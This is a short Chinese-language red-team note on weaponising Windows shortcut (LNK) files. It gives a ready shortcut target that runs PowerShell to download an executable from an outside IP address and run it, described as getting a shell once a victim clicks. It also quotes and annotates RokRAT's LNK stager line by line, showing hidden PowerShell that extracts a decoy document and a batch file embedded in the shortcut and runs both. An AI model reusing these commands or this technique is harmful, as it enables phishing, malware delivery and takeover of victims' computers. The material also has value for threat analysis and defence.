LNK伪造
2024年6月26日大约 3 分钟
LNK伪造
LNK+Powershell
疑似BITTER组织利用LNK文件的攻击活动分析 (qq.com)
利用武器化的 Windows 快捷方式 进行无文件 RokRat 恶意软件的部署 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com
新建一个快捷方式然后修改目标为如下信息:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;iwr http://100.1.1.131:8000/download/local/Code.exe -outfile $env:TEMP\Code.exe;start-process $env:TEMP\Code.exe
当受害者点击该快捷方式后则会调起powershell下载恶意程序并执行上线shell
Office OLE + LNK
- Office OLE + LNK - Google Search
- Issues in OLE link from Excel to Word for Windows - Microsoft Community
- Abusing LNK "Features" for Initial Access and Persistence (v3ded.github.io)
- Phishing: OLE + LNK | Red Team Notes (ired.team)
APT
ROKRAT
RokRAT(恶意软件家族) --- RokRAT (Malware Family) (fraunhofer.de)
利用武器化的 Windows 快捷方式 进行无文件 RokRat 恶意软件的部署 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com
"C:\Windows\SyswOW64\cmd.exe" /c powershell -windowstyle hidden $dirPath = Get-Location; if($dirPath -Match 'system32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\Users\Admin\AppData\Local\Temp'};$Lnkpath = Get-Childltem -Path $dirPath -Recurse *.lnk ^| where-object {$_.length -eg 0x0001DAB452} ^| Select-Object -ExpandProperty FullName;$pdfFile = gc $Lnkpath -Encoding Byte -TotalCount 00065446 -ReadCount 00065446; $pdfPath = 'c:Users\Admin\AppData\Local\Temp\230401.hwp'; sc $pdfPath ([byte[]]($pdfFile ^| select -Skip 002470)) -Encoding Byte;
^& $pdfPath; $exeFile = gc $Lnkpath -Encoding Byte -TotalCount 00068696 -ReadCount 00068696; $exePath = 'c:/Users/Admin/AppData/Local/Temp/230401.bat'; sc $exePath ([byte[]]($exeFile ^| select -Skip 00065446)) -Encoding Byte; ^& $exePath;
"C:\Windows\SyswOW64\cmd.exe" /c powershell -windowstyle hidden
# 获取当前路径
$dirPath = Get-Location;
# 如果当前路径包含system32或者Program Files,则将 dirPtah 设置到临时目录
if($dirPath -Match 'system32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\Users\Admin\AppData\Local\Temp'};
# 获取 dirPath 下文件大小为0x0001DAB452的
$Lnkpath = Get-Childltem -Path $dirPath -Recurse *.lnk ^| where-object {$_.length -eg 0x0001DAB452} ^| Select-Object -ExpandProperty FullName;
# Get-Contet 一次性获取 Lnkpath 对应文件开头的 65446 字节 存储到 $pdfFile
$pdfFile = gc $Lnkpath -Encoding Byte -TotalCount 00065446 -ReadCount 00065446;
$pdfPath = 'c:Users\Admin\AppData\Local\Temp\230401.hwp';
# Set-Content 跳过 $pdfFile 的前 2470 字节将剩余内容 写入到 $pdfPath
sc $pdfPath ([byte[]]($pdfFile ^| select -Skip 002470)) -Encoding Byte;
# 运行 $pdfPath
^& $pdfPath;
# 一次性获取 Lnkpath 对应文件开头的 68696 字节 存储到 $exeFile
$exeFile = gc $Lnkpath -Encoding Byte -TotalCount 00068696 -ReadCount 00068696;
$exePath = 'c:/Users/Admin/AppData/Local/Temp/230401.bat';
# Set-Content 跳过 $exeFile 的前 65446 字节将剩余内容 写入到 $exePath
sc $exePath ([byte[]]($exeFile ^| select -Skip 00065446)) -Encoding Byte;
# 运行 $exePath
^& $exePath;
具体分析可以参阅 APT37组织主战远控武器RokRAT,更新迭代部分执行流程 - 先知社区 (aliyun.com)